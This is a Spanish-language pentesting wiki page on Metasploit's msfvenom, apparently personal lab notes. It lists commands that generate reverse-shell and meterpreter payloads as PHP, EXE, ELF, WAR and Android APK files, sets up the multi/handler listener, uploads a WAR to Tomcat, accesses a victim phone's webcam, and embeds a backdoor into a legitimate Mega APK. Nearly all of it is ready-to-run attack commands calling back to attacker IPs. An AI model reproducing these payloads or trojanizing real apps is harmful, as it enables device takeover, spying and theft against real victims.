====== MSFVENOM ======
Msfvenom es una herramienta de línea de comandos que forma parte del framework
de pruebas de penetración Metasploit. Se utiliza para generar y personalizar
payloads (cargas útiles) maliciosos que pueden ser utilizados en ataques de
pruebas de penetración y en la explotación de vulnerabilidades en sistemas
informáticos.
===== Tipos de payloads =====
Hay dos tipos de payloads, los staged y los non-staged:
* **Payload Staged** : El Payload Staged es un tipo de carga útil que se descompone en dos o más partes. La primera parte consiste en un fragmento de código que se envía al objetivo con el fin de establecer una conexión segura entre el atacante y la máquina objetivo. Una vez que se establece esta conexión, la segunda parte del payload, que es la verdadera carga útil del ataque, se envía. Este enfoque le da a los atacantes la capacidad de evadir medidas de seguridad adicionales, ya que la verdadera carga útil no se envía hasta que se establece una conexión segura.
* **Payload non-staged** : Es un tipo de carga útil que se envía como una única entidad y no se divide en múltiples partes. En otras palabras, la carga útil completa se envía al objetivo en un solo paquete y se ejecuta inmediatamente después de ser recibida. Aunque este enfoque es más simple que el Payload Staged, es más fácilmente detectable por los sistemas de seguridad, ya que todo el código malicioso se envía de una sola vez, lo que puede hacer que sea más fácilmente identificado y bloqueado.
===== Fichero PHP malicioso con msfvenom =====
Para generar un archivo de reverse shell en PHP utilizando msfvenom, puedes
utilizar el siguiente comando:
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > reverse_shell.php
Una vez que hayas generado el archivo de reverse shell en PHP, puedes
transferirlo a la máquina objetivo y ejecutarlo en un servidor web para
establecer una conexión de reverse shell con la máquina atacante.
===== Fichero EXE malicioso con msfvenom =====
Podemos también generar un payload para entablar una reverse shell en forma de
meterpreter en metasploit desde una máquina windows a nuestra máquina atacante,
generando el siguiente payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.20 LPORT=443 -f exe -o pwned.exe
{{pasted_image_20230817140645.png|}}
Una vez generado esto, tenemos que abrir el /multi/handler de metasploit
seleccionando como payload el meterpreter:
set PAYLOAD windows/x64/meterpreter/reverse_tcp
{{pasted_image_20230817140542.png|}}
Y ahora desde la máquina víctima, ejecutamos el script creado anteriormente:
{{pasted_image_20230817140608.png|}}
Y recibimos sesión de meterpreter:
{{pasted_image_20230817140625.png|}}
Aunque también podemos crear un payload que no sea de meterpreter, sino para
recibir una shell normal, haciéndolo de la misma forma:
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe
===== Fichero ELF malicioso con msfvenom =====
Los ficheros elf en linux se pueden asemejar a los exe de windows, por lo que
haremos lo mismo de antes pero para linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.30 LPORT=443 -f elf -o pwned.elf
{{pasted_image_20230818120343.png|}}
Lo compartimos con la máquina víctima:
{{pasted_image_20230818120411.png|}}
Nos ponemos en la escucha con metasploit usando el payload de meterpreter para
linux:
set PAYLOAD linux/x64/meterpreter/reverse_tcp
{{pasted_image_20230818120441.png|}}
Ejecutamos el archivo en la máquina víctima y recibimos la conexión:
{{pasted_image_20230818120513.png|}}
===== Fichero WAR malicioso con msfvenom para hacking tomcat =====
Estamos ante un servidor tomcat, que por ejemplo se trata de la máquina
[[MAQUINA DEPLOY]], donde dentro del puerto 8080 corre un servidor tomcat y se
nos muestra que podemos subir un archivo WAR:
{{pasted_image_20240101185536.png|}}
msfvenom -p java/shell_reverse_tcp LHOST=192.168.0.37 LPORT=443 -f war -o revshell.war
Lo creamos
{{pasted_image_20240101190014.png|}}
Lo subimos y lo tenemos aquí dentro del servidor, donde hacemos clic:
{{pasted_image_20240101190609.png|}}
Y recibimos la conexión:
{{pasted_image_20240101190633.png|}}
*---
[[MAQUINA SECTALKS (Vulnerabilidad arbitrary file upload, php malicioso con msfvenom, y multi-handler de metasploit)]]
====== Crear APK maliciosa ======
Podemos también crear un payload dentro de un apk y establecer una sesión de
meterpreter en metasploit, por tanto usaremos el siguiente comando:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.30 LPORT=443 > virus.apk
{{pasted_image_20230913095619.png|}}
Y ahora con metasploit estaremos en la escucha con el multi handler, además de
establecer el payload correcto:
set payload android/meterpreter/reverse_tcp
{{pasted_image_20230913095744.png|}}
Si la ejecutamos desde un dispositivo android habremos recibido una sesión de
meterpreter:
{{pasted_image_20230913100126.png|}}
Y podemos acceder a la webcam:
{{pasted_image_20230913100232.png|}}
===== Esconder backdoor en apk legítima =====
Primero tenemos que instalar apktool en nuestro kali:
{{pasted_image_20230915153411.png|}}
Y también nos bajamos la última versión del apktool:
{{pasted_image_20230915153511.png|}}
Otorgamos permisos a los 2 archivos:
{{pasted_image_20230915153651.png|}}
Movemos los dos archivos al siguiente directorio:
{{pasted_image_20230915154214.png|}}
Y dentro del /usr/local/bin tenemos que renombrar el fichero .jar de esta forma:
{{pasted_image_20230915153900.png|}}
Y ahora si ejecutamos el apktool debería funcionar bien:
{{pasted_image_20230915154546.png|}}
Y ahora instalaremos estos 3 paquetes:
{{pasted_image_20230915160559.png|}}
Ahora el siguiente paso será descargar un apk legítima, por ejemplo la de mega:
{{pasted_image_20230915124544.png|}}
Y ahora una vez descargado el apk lo pasamos por msfvenom:
msfvenom -x mega.apk -p android/meterpreter/reverse_tcp LHOST=192.168.0.36 LPORT=443 -o mega_virus.apk
{{pasted_image_20230915155153.png|}}
Lo pasamos al dispositivo android y ahora con metasploit nos ponemos en la escucha:
{{pasted_image_20230915155351.png|}}
Nos compartimos el apk con la víctima y con metasploit nos ponemos en la
escucha, poniendo este payload:
set payload android/meterpreter/reverse_tcp